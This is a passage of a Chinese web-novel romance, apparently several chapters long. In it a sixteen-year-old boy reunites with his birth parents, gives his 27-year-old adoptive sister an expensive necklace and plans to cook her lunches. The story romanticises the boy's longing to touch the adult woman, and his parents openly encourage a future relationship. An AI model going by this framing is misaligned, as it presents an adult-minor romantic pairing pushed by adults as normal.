陈研：“……”
沈知逸站起身：“我要去选衣服了，应该要穿得正式点吧？”
在他转身离开的时候，身后传来一道极其细微的抽泣声。
沈知逸身形一顿，有些不敢相信。
陈研是……哭了吗？
陈研竟然会哭？
他转回身来，看向陈研，只见陈研双手捂着脸，趴在腿上，一旁的游戏机上显示游戏输了。
沈知逸又走回来，伸出手指戳了戳陈研的肩膀。
“陈研，你怎么了？”
陈研深吸口气：“我好羡慕你啊……”
沈知逸挠头：“啊？”
陈研说：“你和你的父母走丢
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了，他们还能回来找你，可是我的父母已经不在这个世界上了，他们这辈子都不可能回来找我了……”
沈知逸看他哭，自己心里也很难受，过去拍了拍他的后背，眼睛里浮动着温柔的光芒。
“你现在的爸爸也对你很好啊。”
陈研说：“就算他对我再好，也不可能拿我当亲儿子看待的，我也很难把他当成亲爸爸，因为我跟他没有血缘关系。”
沈知逸问：“血缘关系有那么重要吗？”
陈研：“当然，现在的爸爸再好，也永远比不上我的亲爸爸。”
沈知逸：“……嗯。”
陈研蹭掉脸上的眼泪，低着头抽了几张纸巾擦鼻子，声音呜呜囔囔的：“你要是想跟你姐姐在一起，最好回到你亲生父母那里，不然你跟你姐姐在一个户口本上，就不能在一起了。”
沈知逸点头：“我知道。”
可是如果回到亲生父母那里，他就要被带去国外了。
到晚上六点钟，沈知逸骑着自行车准时到达黎父这里。
他本来想穿得正式一点，但又怕显得太庄重了，既然对方是他的亲生父母，那他还是以平常的打扮就好了，最后穿了白衬衫和黑色运动裤，和平时一样的打扮会让他心里不那么紧张。
沈知逸按门铃。
等了几秒钟，有人过来给他开门，是很久没见的黎娜。
沈知逸眼睛瞬间亮了，嘴角翘起一抹上扬的弧度，轻声喊她。
“姐姐……”
黎娜不带情绪地瞥了他一眼，显得有些冷淡，然后抬起手来，慢慢伸向他。
沈知逸瞳仁微颤，不知道她要干什么，是要触碰他的身体吗，这个想法一出，他心脏仿佛被人用手握住攥紧，他一时上不来气。
黎娜抬眸看着他，手从他的腰侧越过去，轻轻地关上了门。
沈知逸紧绷的身体放松下来，心里有些失落。
真的好想被姐姐触碰。
黎娜往家里走，语气又凶又冷：“蚊子都被你放进来了。”
沈知逸一顿，咬了咬嘴唇，沉默地跟在她身后。
她穿着枯黄色的长款伞裙，裙摆长至脚踝，是不规则的细纱。
随着她的走动，从纱裙上能隐约看出她双腿的动态线条，美丽，带着力量感，还有裙摆飘起的弧度，仿佛是提前计算好的，每一个瞬间都赏心悦目。
沈知逸闻着她身上飘过来的香水味，目光垂下来，一会看看她收紧的腰身，一会看看她纤细的脚踝，最后他低下脑袋，脸和耳朵都红了。
要是这些部位，他都能碰就好了。
穿过玄关，黎娜带着沈知逸来到大厅。
大厅里坐着四个中年人，在沈知逸出现的时候，全部都站起来了，朝沈知逸走过来。
最前面的两张面孔很眼熟，沈知逸想了一会，之前在国外医院见过他们，是钢琴赛评委Eason和他的妻子Sofia。
Sofia看上去很激动，她眼睛布满血丝含着泪水，却笑得特别开心，浑身都在发抖，直勾勾地盯着沈知逸，张开双臂扑过来。
“Sofia，别这样！”
Eason在后面试图拉住她。
沈知逸被她这副样子吓到了，迅速躲到黎娜身后。
“姐姐，救我……”
他手指抓在黎娜的肩膀上，像一条幼犬遇到危险迅速逃回自己的港湾。
58. 公狗觉醒
黎娜翻白眼。
就这么点胆子，真不知道在国外有人对她开枪的时候，沈知逸是哪里来的勇气挡在她面前的。
黎娜推开肩膀上的手，闪到一边。
沈知逸被Sofia紧紧抱住，动弹不得，几乎要不能呼吸了，实在招架不住Sofia的热情。
他以为这已经是极限了，没想到Sofia直接踮起脚，给他来了一个贴脸吻，把他都给亲懵了，懵完又有点生气，他推开Sofia，用手不停地擦脸，不悦地看着她。
“你干什么啊……”
Sofia似乎被他的眼神刺伤了，十分悲痛，慢慢松开他，有些茫然无措，好像自己做错了什么事情，局促地站在原地不敢再靠近他，安静地注视着他。
Eason搂住她的肩膀，温柔地安慰着她：“知逸跟我们还不熟悉，最好不要一上来就跟他太过亲密，多给他一些缓冲的时间，好吗，我们不要吓到他了。”
Sofia哀伤地看着沈知逸，点了点头。
六人坐到沙发上，黎父和张阿姨坐在一起，Eason和Sofia坐在他们对面，沈知逸则寸步不离地跟着黎娜，坐在黎娜旁边。
四个长辈聊了很多关于沈知逸的事情，说到除夕夜捡到沈知逸的时候，黎娜也进入话题说了几句。
了解完沈知逸被领养后的生活，Eason回归正题，看向沈知逸。
“知逸，你想好了吗，你是想继续留在你现在的家庭里，还是想跟着我和妈妈去国外？”
沈知逸低头抠手指，偷偷抬眸，发现这五个大人的目光都聚焦在他身上，他抠手指的动作更用力了，也更加靠近黎娜。
Sofia说：“我和你爸爸在国外联系了最好的艺术学校，你去了就可以直接上，我们已经给你准备好了房间，那里面有一架古董钢琴，衣服和生活用品都有，你愿意跟我们走吗？”
沈知逸把脸埋到黎娜肩膀上。
黎娜疯狂抖肩，直接把沈知逸的脸抖下来，低声提醒他：“一个晚上的时间还没想好吗？快点回答。”
张阿姨也善解人意地说：“知逸，你不要有负担，想跟着谁都没关系，我们都是你的家人。”
沈知逸抬起头，一会看看黎父和张阿姨，一会看看Eason和Sofia，两边都微笑地看着他，耐心等待他的回答。
沈知逸垂下眸子，边抠手指边说：“能不能跟着我爸爸妈妈，但是不去国外……”
四个大人愣住。
张阿姨问：“你的意思是，你要留在国内？”
沈知逸点头：“嗯。”
黎父看向对面：“那你们呢，你们是不是还要回到国外，那在知逸完成学业之前，先寄住在这里？”
Eason和Sofia相视一眼。
Eason说：“如果知逸想留在国内的话，那我们也一起留在国内好了，反正钱都挣得差不多了，现在只想陪陪孩子，孩子在哪里，我们就去哪里。”
Sofia点头。
黎父笑了：“那也好，咱们都留在国内，多热闹，知逸也不用二选一了，他想住在哪里都行。”
张阿姨也笑：“要是小知逸真去国外了，我还有点舍不得呢，他弟弟肯定会又哭又闹的。”
四个大人聊得热火朝天。
黎娜从冰箱里拿了一罐蓝莓酸奶出来，窝在沙发里，小口地吃着。
沈知逸往她的方向挪了挪，看到酸奶罐外面覆着一层水珠，忍不住提醒她：“别吃了。”
黎娜微顿，咬着塑料勺子看向他：“怎么了，我家的酸奶，我还不能吃了？”
沈知逸低下头，耳尖发红，憋出两个字：“不是……”
黎娜黑人问号脸。
搞什么东西。
她又挖了一勺酸奶放进嘴里，耳边传来沈知逸的声音。
“你生理期快到了。”
黎娜瞪大双眼：“……”
沈知逸头更低了：“生理期前吃太多冰的东西，会肚子痛……”
黎娜真的很想仰天长啸，但面前坐了四个长辈，不允许她有这种诡异的举动，她只能深吸口气，压下所有暴乱的情绪，恶狠狠地瞪向沈知逸。
“要你管那么多！”
沈知逸小声说：“我怕你疼啊……”
“我会提前吃止痛药。”
沈知逸：“哦。”
黎娜放下酸奶，双臂环胸坐了一会，皱着眉头问他：“不是，你怎么会知道我生理期啊？”
沈知逸脸很红，越来越红，最后他直接用手捂住脸。
“刚搬到你房间的时候，看到卫生间里有、有用过的那个东西，我就记下来了。”
黎娜双手抱头，难以接受。
我靠！
变/态啊！
黎娜重新拿起酸奶：“忘掉吧，我都不准的。”
沈知逸很紧张地问她：“是吗，是会推迟，还是会提前来，是不是只要不吃止痛药就会痛？”
黎娜：“你从哪看的这些？”
沈知逸别开脸：“就……班里有些谈了女朋友的男生，我看他们都会非常关心女生的生理期，我也在网上查了一些关于这方面的事情。”
黎娜忍无可忍，抱着酸奶远离他。
他立马跟过来，紧贴着黎娜。
最后黎娜都快坐到沙发扶手上去了，沈知逸坐在下面，低头玩她的裙摆，还帮她把挂在脚趾上的毛绒拖鞋往上提了一点。
黎娜：“……”
Eason和Sofia看着他们，不由得莞尔一笑。
张阿姨也在捂着嘴偷笑。
只有黎父满面愁云，皱眉看着这两个小孩。
到晚上九点多，Eason和Sofia放下伴手礼，准备回酒店了。
Sofia问：“知逸，你跟我们回酒店吗？”
沈知逸说：“我还是回家吧。”
Eason看向黎娜：“知逸现在住在哪里，周围还有空房子吗，我们应该尽快去买一套，这样就能住在一起了。”
黎娜说：“没关系的，在哪里买房子都行，直接让沈知逸搬过去就好了。”
还想在她家周围买套房子，干什么，想隔三差五就来骚扰她吗，真可怕啊……
Sofia看了眼沈知逸，微笑道：“就在周围买吧，离近点好，这样能常跟你们联系，知逸肯定也不想换地方住的，他都在那里住那么多年了。”
沈知逸点头。
黎娜无奈地叹了口气，只能报出小区的名字。
Eason认真记下来：“明天我去咨询一下，顺便带知逸去办理手续，黎大哥，你明天有空吗，恐怕也需要你到场。”
这就叫上哥了，黎父看着面前这个明显比自己年轻十几岁的男人，不禁有些黯然神伤，他的年纪是真的大了。
黎父说：“明天有空，我跟你们一起去。”
Eason：“麻烦你了，黎大哥。”
黎父：“不麻烦，你太客气了。”
黎父和张阿姨把他们送出门。
到大门口还有很长一段路，需要越过湖泊和游泳池。
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沈知逸和Sofia走在前面。
Sofia抬头看着他，忽然笑了一声，然后低下头，还是笑得停不下来。
沈知逸有些莫名其妙：“你在笑什么，是在笑我吗？”
Sofia不答反问：“你想要留在国内，是因为黎娜吗？”
沈知逸脸一红，没吭声。
Sofia：“你喜欢黎娜吗？”
沈知逸朝身后看了一眼：“你小声一点，会被姐姐听到的……”
Sofia捂着嘴笑：“追女孩子，要胆子大，脸皮厚，当年你爸爸追我的时候，每天来剧院门口接我下班，还带束玫瑰花，风雨无阻，我都懒得睬他。”
想起Eason在评委席上那张冷漠的面孔，沈知逸难以置信：“真的吗，他也会追人？”
Sofia：“那当然，我跟男演员合作，他还会吃醋生气，跟我闹别扭，不搭理我，让我去哄他。”
沈知逸：“……”
突然很想笑。
Sofia说：“你要是喜欢黎娜，我和你爸爸就去跟黎大哥说一下，让你们两个谈恋爱试试看。”
沈知逸猛地一顿，立在原地。
谈恋爱……
和姐姐吗？
之前他连想都不敢想的事情，现在竟然被Sofia这么轻描淡写地说出来，沈知逸都怀疑自己听错了，在激动和兴奋之前，他最先感受到的是担忧。
“真的吗，你们真的赞成我喜欢姐姐吗？”
Sofia疑惑地问：“为什么不赞成？”
沈知逸抿住嘴唇，不知道该不该说，可能他们还不知道姐姐的年纪，所以才会赞成他。
如果他们知道了，肯定也会像黎叔叔一样反对的。
可是他想了想，如果要和姐姐在一起，年龄是瞒不住的。
沈知逸心如死灰：“因为姐姐……比我大了十一岁。”
Sofia一愣，随即笑了起来：“那有什么关系，你很担心这个吗？”
沈知逸：“……嗯。”
非常非常地担心。
Sofia问：“可以摸摸你的脑袋吗？”
沈知逸想了几秒钟，把脑袋低下来一点：“可以。”
Sofia抬起手，放到沈知逸头顶上，特别温柔地揉了揉。
“没关系的，我和你爸爸能把你找回来已经非常开心了，只要是你喜欢的，在不违反道德和法律的前提下，我们都会支持你，并且永远支持你。”
她温柔的话语化成一股力量，钻进他身体里，似潺潺溪流，带来无限生机。
沈知逸眼眶发热：“真的吗，你们会永远支持我？”
Sofia点头，目光坚定地望着他。
“永远，无条件地支持你，我可爱的小知逸。”
在他们身后，Eason看着他们一高一矮的背影，满脸笑意。
“娜娜，你是画画的是吗？”
黎娜：“嗯。”
Eason微笑：“真巧，我爸也是画画的。”
黎娜：“……”
Eason说：“你跟我们真的非常有缘分，你看啊，你是画画的，我和知逸是弹钢琴的，我爱人是芭蕾舞剧的演员，我们都是从事艺术相关的职业，真的太有缘了。”
黎娜感觉他话里有话：“是吗，其实我现在不怎么画了……”
Eason毫不在意：“没关系，缘分是天注定的，你跟知逸就特别有缘分。”
黎娜闭嘴。
感觉不太对劲。
59. 公狗觉醒
回到家，黎娜冲了个澡，裹着浴巾坐在沙发上给温琳发消息。
黎娜：【沈知逸他爸妈找过来了。】
温琳：【？？？】
温琳：【恭喜你，终于能摆脱小知逸了！】
黎娜：【摆脱个鬼，他不走，他爸妈还要在我之前住的地方买个房子。】
温琳：【嘿嘿，真好啊，差点以为我磕的cp要be了。】
黎娜：【……】
磕你个窝窝头。
温琳：【他爸妈是谁，有钱吗？小知逸跟着他们会不会吃苦？】
黎娜：【Eason和Sofia，这是他爸妈，你自己上网去搜。】
温琳：【我靠，这么牛逼！还能在网上查到！我这就去查！】
过了一会，温琳回来了。
温琳：【我靠，那个女的还是芭蕾舞剧演员的时候好漂亮，现在怎么那么老。】
黎娜：【应该是弄丢了沈知逸之后，精神状态一直很差导致的。】
温琳：【真不容易啊，不过她不好好打扮自己真的没问题吗？那个Eason看上去真他妈的帅啊！她都不会有危机感吗，我感觉要是我妈变成这样，我爸估计都要在外面开后宫了。】
黎娜：【他们感情非常好。】
温琳：【我看网上说，他们后来也没要小孩，Sofia生完之后身体一直不好，那个Eason竟然不离不弃，宁愿自己这辈子没有孩子，也不找别的女人再生一个，呜呜呜呜呜，我好羡慕他们的爱情……】
黎娜没回。
温琳还在发：【怪不得小知逸对你这么深情，原来是家族遗传的，这一家子都是情种啊。】
黎娜关掉手机。
过了一会又打开来，到温琳的聊天页面，往上翻，目光聚焦到那几个字上。
那么老，危机感，开后宫……
来来回回地看了好几遍。
真离谱。
黎娜丢掉手机。
上午，Eason和Sofia去看了房子，当时就定下来了，签了合同。
下午他们和黎父到约定的地点，带沈知逸去办理迁入手续，结束后到四点钟，太阳没有那么烈了，商业街上的人多了起来。
Sofia说：“我们去商场逛逛吧，黎大哥你也一起来吧。”
黎父看了眼手表，现在赶回公司待不了多久就要下班了，而且他还想看看沈知逸和自己的亲生父母相处的怎么样，便答应下来：“好，那就逛逛吧。”
三个大人走在前面。
沈知逸跟在他们身后，安安静静地听他们说话。
黎父问：“你们之前一直在国外待着吗？”
Eason说：“我是九岁的时候跟着父母移民过去的，Sofia是在美国出生的，从小在那里长大。”
黎父：“是吗，那她中文说得很不错。”
Sofia笑了：“我妈妈是中国人，从小她就用中文跟我说话，等到了外面，就要用英文了。”
黎父：“那很好，从小就有双语环境，现在知逸上的那个学校也是双语教学，等将来你们回到国外，也不用怕他语言不通。”
Sofia笑容不变：“娜娜今年多大了？”
走在后面的沈知逸心脏一紧，步伐短暂停留了一瞬，又继续跟上去。
黎父愣了一下，想了想：“今年应该三十岁了吧？”
沈知逸皱起眉头，小声提醒道：“姐姐还没到三十岁，她今年二十七……”
黎父一拍脑袋：“是吗，我又把她年纪说大啦，哈哈哈哈哈……”
Sofia也跟着笑：“我说呢，比小知逸大十一岁，怎么会是三十岁呢，还以为我记错了。”
Eason问：“娜娜谈男朋友了吗？”
黎父：“还没有……”
话题突然变得奇怪起来了。
Sofia把后面的沈知逸拎到前面来，放到黎父面前，满眼期待地望着黎父。
“黎大哥，你觉得知逸这个孩子怎么样？”
太明显了！
真的太明显了！
沈知逸羞得脸都红透了，把脑袋扭向一边，开始抠手指。
当着人家亲生父母的面，黎父当然是捡好听的说。
“知逸这个孩子特别乖巧懂事，从来没让我们操过心，学习成绩也好，还会打篮球弹钢琴，我从来没见过这么乖的小孩。”
沈知逸松了口气。
Sofia笑得合不拢嘴：“黎大哥，你看啊，你家娜娜还没有男朋友，我家知逸也快到谈女朋友的年纪了，我们能不能……提前预约一下，让知逸跟你家娜娜试试呗，我特别喜欢娜娜，怎么看怎么喜欢，知逸也喜欢，知逸的爸爸也喜欢。”
说完就用胳膊肘捅Eason。
Eason立马附和道：“黎大哥，让他们两个试试吧，我们一家都是从事艺术行业，可能资产不如你们从商的多，但是这么多年以来也有一些积蓄，足够给他们两个小孩用的，到时候他们拿着钱爱干什么就干什么，我们不插手他们的生活。”
Sofia补充道：“孩子可以我们来带。”
黎父瞪着眼睛，像被雷劈了一样。
什么情况啊。
他都什么都没说呢，怎么娜娜生的孩子就要他们来带了。
真希望自己的妻子也在身边，这样还能跟他们有的一拼。
不对，要是他的妻子来了，恐怕会加入敌方阵营，一起来说服他，可是……
黎父深吸口气：“知逸今年才十六岁啊！还没成年呢，现在说这些是不是太早了，他现在最重要的是好好学习，谈恋爱以后再说吧……”
沈知逸已经没脸站在这里了，想刨个洞出来把自己埋了，他现在满脑子都是和姐姐生小孩。
他真的可以吗，和姐姐……
Sofia说：“黎大哥，不用他们现在就谈，可以让他们两个先相处试试看，我们家长不干预，等知逸成年了，如果可以，我们再把这事定下来。”
黎父婉拒：“知逸年纪太小了，娜娜都多大年纪了，我计划在她三十岁之前，把她嫁出去呢。”
黎娜三十岁之前结婚，沈知逸的年纪根本就来不及，他们凭什么叫黎娜等沈知逸，凭什么耽误黎娜的时间。
Eason和Sofia不说话了。
黎父又道：“我不能替娜娜做主，所以这些事跟我说了也没用，还是要看娜娜的意思。”
他敢这么说，是断定黎娜不会接受比她小十一岁的沈知逸。
沈知逸垂下眸子，看着自己的鞋尖，小卷毛盖下来，他半张脸隐没在阴影里，透出淡淡的失落。
是啊，不管他现在的爸爸妈妈怎么努力，如果黎娜不喜欢他，还是没有用。
四个大人和沈知逸走进商业街。
黎父和Eason没有买东西，跟在Sofia的身后。
Sofia穿梭在各个奢侈品牌店之间，都没有看上眼的，最后有一家隐藏极深的珠宝店引起了她的注意，她带着沈知逸走过去。
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>这个珠宝店有些不同，门口站着一排身材魁梧的黑西装男人，里面的珠宝没有放在展示柜里，而是放在半身人台上，每一件珠宝都有自己独立的隔间，镶嵌在墙壁里。
店里没有客人，只有一个中年男人，面带微笑地跟Sofia打招呼。
“欢迎你的到来，这位美丽可爱的女士。”
Sofia莞尔一笑：“很高兴见到你。”
中年男人：“我也是，请随意看，这里的每一件珠宝都是由我手工制作出来的，希望您能喜欢。”
Sofia点头，拉着沈知逸在珠宝店里慢悠悠地逛着。
“知逸，你来给你姐姐选礼物。”
沈知逸看向隔间的珠宝，灯光照耀下，他一时间无法直视，太闪了，仿佛宝石里面装满了五颜六色的微型灯泡在不停地闪烁。
珠宝以项链为主，没有标价格，沈知逸不敢选，他的奖金存了几万块，但是这店里的珠宝显然不是他那几万块就能买得起的。
Sofia应该会为他付钱，可是这样他真的很不好意思，像占了Sofia的便宜一样。
沈知逸来来回回地看了好几遍，最终停在了一件黄钻项链前面。
这条项链由两排水滴形的钻石并列而成，中间那颗主石是黄钻，椭圆形，有半截大拇指那么大。
不管是水滴形的钻石，还是椭圆形的黄钻，尺寸都十分惊人，完全可以拿到拍卖会上去拍卖。
Sofia问：“喜欢这个？”
沈知逸点头：“嗯。”
Sofia看向中年男店员：“把这件项链拿出来看一下。”
“好的。”
中年男店员拿着一排钥匙，半蹲下来，打开下面的锁，小心翼翼取出这件项链，放到中间的展示人台上。
Sofia很满意：“就要这个了，帮我包起来。”
“好的。”
Sofia刷卡付钱。
仔细包装好黄钻项链，中年男店员双手递给Sofia。
“祝你拥有愉快的一天。”
Sofia：“你也是。”
她带着沈知逸出去了。
沈知逸看向她手里那个朴素的牛皮纸袋，咬了咬嘴唇，小声问：“这条项链多少钱啊……”
Sofia俏皮地说：“你猜。”
沈知逸想了一会：“一百万？”
他对珠宝价格没有概念，但一百万已经是他能想象到的极限了。
Sofia伸出三根手指，笑道：“三千多万。”
沈知逸不敢相信自己的耳朵，那条项链竟然要三千多万！
他几乎要晕厥过去。
黎父和Eason站在店外面聊天。
见他们出来了，Eason问：“选好了吗？”
Sofia点头：“嗯。”
然后把黄钻项链交给沈知逸：“让知逸送给娜娜吧。”
黎父问：“给娜娜的吗？不用了，娜娜什么都不缺。”
Sofia坚定道：“必须要给，多亏了娜娜，知逸才能活下来，你们都是我们家的恩人，这点小东西，你们一定要收下。”
黎父不再推让：“既然如此，那就谢谢你们了。”
Sofia把项链交到沈知逸手里，轻轻地拍了拍他的手背，笑得特别温柔慈爱。
“要好好表现哦，小知逸。”
沈知逸捏紧袋子，昂贵的黄钻项链就在他手里。
他郑重地点头。
“我会的。”
60. 公狗觉醒
吃完早饭，沈知逸拿出手机，给温琳发消息。
沈知逸：【你知道我姐姐现在住在哪里吗？】
温琳：【你不知道你姐姐住哪？】
沈知逸：【她不告诉我。】
黎娜一直在躲他。
温琳：【你找你姐姐干嘛？】
沈知逸看向沙发上的黄钻项链，手指在屏幕上点击着。
沈知逸：【我有东西给她。】
温琳：【你姐姐这个点已经不在家了，她去公司上班了，你直接去公司找她吧。】
沈知逸：【哦。】
还是没告诉他，姐姐住在哪里。
温琳：【知道公司在哪吧？】
沈知逸：【知道，我以前去过，谢谢温琳姐。】
温琳：【不客气呀，小知逸。】
目光落到最后那个称呼上，沈知逸皱起眉头，怎么他们都喜欢喊他小知逸，小时候喊喊也就算了，他现在真的不小了啊。
沈知逸跑去卫生间，看着镜子里的自己。
眼睛还挺大的，有明显的双眼皮，鼻子比小时候高了许多，也长得更精致了，嘴唇肉肉的，透着深粉色，皮肤偏白，在青春期几乎没长过痘痘，一直很嫩，脸上连点肉眼可见的瑕疵都没有，小卷毛垂下来遮住眼睛……
他忽然发现自己长得太乖了，而且他平时都很听大人的话，大人也觉得他很可爱很乖，就一直把他当小孩看待。
沈知逸很是挫败地趴在洗手台上，捂住自己的脸。
“我真的不想再当小孩了啊……”
他更想当的是……
想当姐姐的男人。
骑自行车到公司门口，沈知逸摘掉头上的鸭舌帽，取下挂在车把上的黄钻项链，推开门走进去。
大厅里的前台小姐立刻看过来，微笑着打招呼：“你好。”
沈知逸走过去，脸红红的，额头上挂着几颗汗珠。
他说：“我来找黎娜。”
前台小姐：“是珠宝腕表部门的吗？”
沈知逸：“应该是。”
前台小姐：“你叫什么名字？”
“沈知逸。”
“好的，稍等。”
她拿起电话，按下一串号码拨过去，那边很快接通。
黎娜的声音传过来：“喂？”
前台小姐：“有个男生找你，叫沈知逸。”
黎娜：“沈知逸？”
“是的。”
“哦，那你带他过来吧。”
“好的。”
通话结束，前台小姐说：“请跟我来。”
沈知逸点头，跟上去。
乘电梯来到八楼，沈知逸穿过闹哄哄的工作区，被带进了一间独立的办公室，特别大，中间还有一张大桌子，最起码能容纳二三十个人在上面吃饭。
桌上堆满了各种工具，五颜六色的宝石，还有一些潦草的手稿和橡皮屑。
黎娜把刚完成的手稿丢到桌上，抓起身后乱糟糟的卷发随便挽了几下，用一根皮筋捆好，垂下来几缕碎发，她全都别到耳朵后面，又掉出来，她也懒得管了，伸手拉过来一把椅子坐上去，双腿优雅地交叠在一起。
前台小姐把人带到，就默默离开了。
沈知逸站在门口那边，拎着那条黄钻项链，就这么傻站着，也不说话。
明明已经答应Sofia要好好表现了，可是一到姐姐面前，他还是控制不住地紧张起来了。
黎娜抬眸看向他。
角度关系，她瞳仁靠上，有点下三白眼，显得目光冷淡充满戾气，如同蛰伏在草丛中的猎豹。
沈知逸接触到她的目光，手心都开始冒汗了，一时间无法让自己发出声音。
黎娜上班期间心情都很烦躁，从来没有过好脸色，现在沈知逸又到她面前晃悠，她自然是极其的不耐烦。
“你来这里干什么？”
明明是在问他，却更像是让他快点滚蛋。
沈知逸拎着袋子，低着头往前走了几步，鼓起勇气，刚张开嘴巴发出一个气音：“我——”
“咚咚咚！”
办公室外面有人敲门。
黎娜移开视线：“进来。”
女职员推开门，束手束脚地进来了，像做错了事情，低着头，都不敢看黎娜。
黎娜从电脑上调出她发来的邮件，滑动鼠标，不同颜色的光线在她眼睛里飞快闪过。
她说：“你的这款设计，没有让人消费的欲望，还差点意思，需要更多的创新和冲击力，你回去再做一下，下班之前给我。”
“……好的。”
女职员哭唧唧地出去了。
黎娜的视线再次回到沈知逸身上，用眼神示意他说话。
沈知逸深吸口气：“我——”
“咚咚咚！”
又来一个人。
黎娜：“进来。”
这次进来的是一个外国女人，非常热情，跟黎娜又是拥抱又是贴脸吻。两个人坐下来用沈知逸听不懂的语言在说些什么。
沈知逸再次被晾到一边。
半个小时后，这个外国女人离开了，黎娜脸上的笑容瞬间消失，仿佛卸掉了对外的伪装，露出了最原本的疲倦和冷淡。
她拿起刚才扔在桌上的设计稿，意兴阑珊地看着。
沈知逸站在原地等了一会，确定没有人再进来了，才走到黎娜面前，垂下眸子，把手里的牛皮纸袋拎到办公桌上，轻轻地推向黎娜。
“姐姐，这个……是给你的。”
感觉自己又给她添麻烦了。
黎娜没碰，只看着他推来的东西，淡淡地问：“这是什么？”
沈知逸抠手指：“你自己看。”
行，黎娜也不跟他客气了，手指伸进袋子里，勾出来一个皮制盒子。
她平放到桌上，郑重又缓慢地打开盖子，一条黄钻项链赫然出现在眼前。
黎娜不禁瞪大双眼，出于职业本能，她拉开抽屉，取出来一个白手套戴上，这才把项链取出来，拿到眼前打量着。
并列两排的水滴形钻石，每一颗都是黄豆粒的大小，不管是净度还是颜色都无可挑剔，切工一看就是出自大师之手，尤其是中间那颗黄钻，干净且清澈，在市面上极其罕见，恐怕只有在拍卖会上看到这样的品质。
黎娜把项链放回去，用牙齿咬住手套轻轻一扯，就脱下来了，放到一边，看向沈知逸。
“这是你买的？”
黎娜扶额。
不对，沈知逸哪来的钱买这个。
沈知逸摇头：“不是我买的，是我那个妈妈送给你的礼物。”
黎娜双臂环胸，靠到椅背上，笑得不冷不热，耐人寻味。
“你妈妈好大方哦。”
莫名其妙带了些嘲讽的意味。
不知道是不是他的错觉。
沈知逸有些不安地抬眸看向她，小心翼翼地询问：“那你喜欢吗？”
黎娜合上盖子，放进抽屉里：“当然喜欢。”
沈知逸这才笑了。
桌上的手机响了一下，黎娜拿起来，是黎父发来的信息。
黎父：【你要小
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心沈知逸一家。】
黎娜：【？？？】
黎父：【他们对你图谋不轨。】
黎娜：【……】
她刚才还收了Sofia送的项链。
黎娜关掉手机，继续忙手头的事情。
沈知逸不想走，找了个地方坐下来，拿起刚才被黎娜扔到桌上的手稿放到面前。
“姐姐，这个是你画的吧？”
黎娜用余光看了一眼：“你怎么知道？”
沈知逸笑得甜甜的：“我记得你的画风，一看就知道。”
黎娜：“……”
沈知逸看得特别认真，一直在心里犯花痴。
姐姐真的好厉害啊，画得真好看，刚才他还以为纸上放了两枚钻石戒指，想拿起来看，结果手伸过去摸了个空，原来戒指是画在纸上的，姐姐好强啊。
会画画，会珠宝设计，会弹钢琴，是退役模特，现在管理着一个部门的人，刚才她跟外国女人说话，他一个字都听不懂。
姐姐知道他很多不知道的东西，经历和阅历都比他多太多了，可他还是那个青涩腼腆，被陌生人问路都会手足无措的高中生，越想下去，他就越自卑。
因为如果他变成姐姐了，肯定也会看不上他自己的。
沈知逸坐在角落里黯然神伤，过了一会部门的人进来开短会，黎娜站在台上跟他们说事情，有点像学校里的老师在讲课。她平时说不出几句好话，但现在语言组织能力极强，掌控着全场的节奏。
这是沈知逸第一次看到黎娜工作时的样子。
他的姐姐就像那颗黄钻一样，不停地闪耀发光。
会议结束，部门的人都出去吃饭了，沈知逸也从食堂里买了两份饭回来，放到桌子上，喊黎娜。
“姐姐，过来吃饭吧。”
黎娜盯着电脑屏幕，没说话。
沈知逸怕惹她烦，也不敢再说了，拿着饭躲到一边，轻轻打开，小口吃着，尽量不发出声音。
不知道过了多久，黎娜站起身来，伸了个懒腰。
沈知逸再次喊她：“姐姐，过来吃饭。”
黎娜看向他和饭盒里的食物，撇了撇嘴。
“我看你吃饭，我就想吐。”
沈知逸眼中光芒熄灭，垂眸看向自己的饭盒。
什么意思？
是看到他想吐，还是看到他买的饭想吐？
突然好想哭。
沈知逸轻吸口气，再次抬眸看向她。
“姐姐，你是不是有点厌食？”
黎娜想了一会：“可能吧，我特别讨厌吃饭，希望科学家以后能发明出来一种营养剂，打一针可以一个月不用吃饭。”
沈知逸松了口气，原来姐姐是不喜欢吃饭啊。
他又多想了。
“那姐姐你喜欢吃什么？”
他貌似不经意地问。
黎娜挑眉：“问我这个干什么？”
沈知逸低下脑袋：“我就问问……”
黎娜说：“我喜欢吃酸的，不喜欢调料味很重的食物。”
沈知逸在心里默念一遍，记下来了。
到下班时间，沈知逸和黎娜一起出公司。
黎娜正要去停车场。
沈知逸拽住她的衣角，不让她走，也不接触她疑惑的眼神，声音低到几乎要听不见。
“姐姐，我能跟你一起回家吗？”
黎娜愣住，想都没想就拍掉他的手，凶狠地瞪向他。
“你给我滚！”
沈知逸：“……”
姐姐好凶。
61. 公狗觉醒
回家途中，黎娜一直在看车后视镜。
她记得之前过年，从黎父那边回来，在后视镜里看到沈知逸在骑着自行车追她。
那时候沈知逸的眼神，如同捕猎中的野兽，充满了贪婪，紧咬着她的车不放，势在必得，以至于她到现在记得很清楚。
这次她看后视镜，里面什么都没有，不由得松了口气。
黎娜在外面餐厅解决掉了晚饭，到家时间还不算太晚，她打开手机，发现沈知逸给她发了很多条信息，还都是图片。
图片里是各种食物搭配在一起，有点像外面餐厅卖的轻食，看上去很清淡。
沈知逸：【姐姐，点菜吧。】
黎娜看到他新发来的信息，整个人都愣住了。
点菜？
点什么菜？
沈知逸要给她做饭吃？
黎娜：【……】
沈知逸又发来几张图片，这次不是菜谱，而是饭盒，特别可爱，是粉红色的，上面还贴了很多动物贴纸。一看就是沈知逸买了贴纸，自己贴上去的。
黎娜扶额。
什么玩意啊……
沈知逸：【饭盒已经买好了，以后中午我给你带饭吧，好不好，姐姐？】
黎娜：【不好。】
黎娜：【我不吃。】
黎娜：【你别做。】
沈知逸：【好，那我明天中午十一点半到公司找你。】
黎娜：【你听不懂人话。】
沈知逸：【你要是不点的话，那我就自己看着做了。】
黎娜：【你做了我也不吃，别做。】
沈知逸：【姐姐，明天见。】
黎娜扔掉手机。
到做午饭的时间，Sofia也过来帮忙，给沈知逸穿了一条围裙，帮他在身后系好蝴蝶结。
沈知逸从冰箱里拿出一些食材，放到料理台上，跟Sofia说：“姐姐喜欢吃酸的东西，不喜欢调料味重的。”
Sofia点头：“天气热，食欲会比较差，酸的东西能开胃。”
最后做了柠檬虾，柠檬烤鸡翅，一些蔬菜沙拉和蒸南瓜。
沈知逸认真地打包好，还做了一杯蜜桃乌龙茶，放了点冰块进去，用保温袋装好。
Sofia拿了个创口贴过来，叫沈知逸把手伸出来。
沈知逸伸出双手，食指侧边有一道伤口，没出血，皮被划开了，隐约能看到里面鲜红的嫩肉。
